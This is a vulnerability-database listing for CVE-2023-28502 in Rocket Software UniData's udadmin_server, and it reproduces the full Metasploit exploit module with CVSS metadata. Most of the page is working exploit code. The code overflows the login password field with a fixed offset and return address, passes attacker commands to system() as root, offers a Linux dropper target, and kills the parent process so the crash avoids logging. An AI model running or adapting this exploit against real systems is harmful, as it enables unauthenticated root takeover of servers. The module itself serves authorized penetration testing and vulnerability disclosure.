Lucene search

K
metasploitRon BowesMSF:EXPLOIT-LINUX-MISC-UNIDATA_UDADMIN_PASSWORD_STACK_OVERFLOW-
HistoryMar 29, 2023 - 3:01 p.m.

Rocket Software Unidata udadmin_server Stack Buffer Overflow in Password

2023-03-2915:01:50
Ron Bowes
www.rapid7.com
115
rocket software unidata
udadmin_server
stack buffer overflow
password
authentication bypass
linux
rpc service
vulnerability
unidata versions 8.2.4
build 3003
exploit

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.9

Confidence

Low

EPSS

0.153

Percentile

96.0%

This modlue exploits an authentication bypass vulnerability in the Linux version of udadmin_server, which is an RPC service that comes with the Rocket Software UniData server, which runs as root. This vulnerability affects UniData versions 8.2.4 build 3003 and earlier (for Linux), but this module specifically targets UniData version 8.2.4 build 3001. Other versions will crash the forked process, but will not otherwise affect the RPC server. The username and password fields are copied to a stack-based buffer using a function that’s equivalent to strcpy() (ie, has no bounds checking). Additionally, the password field is encoded in such a way that we can include NUL bytes.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Unirpc
  prepend Msf::Exploit::Remote::AutoCheck

  OFFSETS = {
    '8.2.4' => {
      # The amount of padding required to overwrite the return addr
      'offset' => 0x2b8,

      # This returns to "mov rdi, rsp / call system", which means the
      # remainder of what's on the stack will be passed to system()
      'return_address' => 0x412e25
    }
  }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rocket Software Unidata udadmin_server Stack Buffer Overflow in Password',
        'Description' => %q{
          This modlue exploits an authentication bypass vulnerability in the
          Linux version of udadmin_server, which is an RPC service that comes
          with the Rocket Software UniData server, which runs as root.

          This vulnerability affects UniData versions 8.2.4 build 3003 and
          earlier (for Linux), but this module specifically targets UniData
          version 8.2.4 build 3001. Other versions will crash the forked
          process, but will not otherwise affect the RPC server.

          The username and password fields are copied to a stack-based buffer
          using a function that's equivalent to strcpy() (ie, has no bounds
          checking). Additionally, the password field is encoded in such a way
          that we can include NUL bytes.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ron Bowes', # Discovery, PoC, module
        ],
        'References' => [
          [ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],
          [ 'CVE', '2023-28502' ],
        ],
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'DefaultOptions' => {
          'RPORT' => 31438,
          'PrependFork' => true
        },
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              # Used for auto-selection
              'Version' => '8.2.4',

              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'DisclosureDate' => '2023-03-30',
        'Notes' => {
          'SideEffects' => [],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SERVICE_RESTARTS] # The forked process can crash
        }
      )
    )

    register_options(
      [
        OptBool.new('EXIT_CLEANLY', [ true, 'If set, tries to kill the parent process with SIGTERM before it crashes', true]),
        OptEnum.new('UNIDATA_VERSION', [true, 'The version of UniData target. Automatic detection is the default.', 'auto', ['auto', '8.2.4'] ]),
      ]
    )

    register_advanced_options(
      [
        OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),
      ]
    )
  end

  # We can detect UniRPC by performing a version check, but the version number
  # didn't increment in the patch (only the build number did, which AFAICT we
  # can't access), so just do a sanity check
  def check
    @version = unirpc_get_version
    vprint_status("Detected UniRPC version #{@version} is running")

    Exploit::CheckCode::Detected
  rescue UniRPCCommunicationError => e
    return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")
  rescue UniRPCUnexpectedResponseError => e
    return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")
  end

  def execute_command(cmd, _opts = {})
    # Connect to the service and authenticate before running the command stager
    connect

    # Connect to the RPC service (probably "udadmin")
    vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")
    sock.put(build_unirpc_message(args: [
      # Service name
      { type: :string, value: datastore['UNIRPC_ENDPOINT'] },

      # "Secure" flag - this must be non-zero if the server is started in
      # "secure" mode (-s)
      { type: :integer, value: 1 },
    ]))
    recv_unirpc_message(sock, first_result_is_status: true)

    # Pick a random username
    username = rand_text_alpha(6..20)

    # Start the password with random junk that writes to the stack
    password = rand_text_alpha(@offsets['offset'])

    # Append the return address
    password += [@offsets['return_address']].pack('Q')

    # Attempt to cleanly kill the parent process if we can (otherwise it
    # crashes)
    #
    # Because of how the payload goes onto the stack immediately after the
    # return address, we can't return into an `exit` call - all the parent
    # process can do is crash (which is logged).
    #
    # We CAN, however, prepend a command to cleanly kill the parent PID, making
    # it look like a standard exit (not logged).
    if datastore['EXIT_CLEANLY']
      password += 'kill -TERM $PPID & '
    end

    # End with the command, which will be passed to system()
    password += cmd

    # Check if the payload includes the `\xff` character, which will terminate
    # the string and break the module. This shouldn't ever appear in the actual
    # payload, which is base64-encoded, but this will catch a future return
    # address that would break the payload
    if password.include?("\xff")
      fail_with(Failure::BadConfig, 'Payload contains a 0xFF character, which will fail')
    end

    vprint_status("Authenticating to RPC service as #{username} with a stack-overflowing password")
    sock.put(build_unirpc_message(args: [
      # Message type
      { type: :integer, value: UNIRPC_MESSAGE_LOGIN },

      # Username
      { type: :string, value: username },

      # Password (encoded by making each byte negative)
      { type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },
    ]))

    print_status('Payload sent')
  end

  def exploit
    if datastore['UNIDATA_VERSION'] == 'auto'
      if @version.nil?
        vprint_status('Requesting the version number for automatic targeting...')
        @version = unirpc_get_version
      else
        vprint_status("Using the version number from earlier for targeting: #{@version}")
      end
    else
      @version = datastore['UNIDATA_VERSION']
      vprint_status("Using the version number from UNIDATA_VERSION for targeting: #{@version}")
    end

    @offsets = OFFSETS[@version]
    if @offsets.nil?
      fail_with(Failure::NoTarget, "No matching target for version #{@version}")
    end

    # Run the command(s)
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  rescue UniRPCCommunicationError => e
    fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")
  rescue UniRPCUnexpectedResponseError => e
    fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")
  end
end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.9

Confidence

Low

EPSS

0.153

Percentile

96.0%

Related for MSF:EXPLOIT-LINUX-MISC-UNIDATA_UDADMIN_PASSWORD_STACK_OVERFLOW-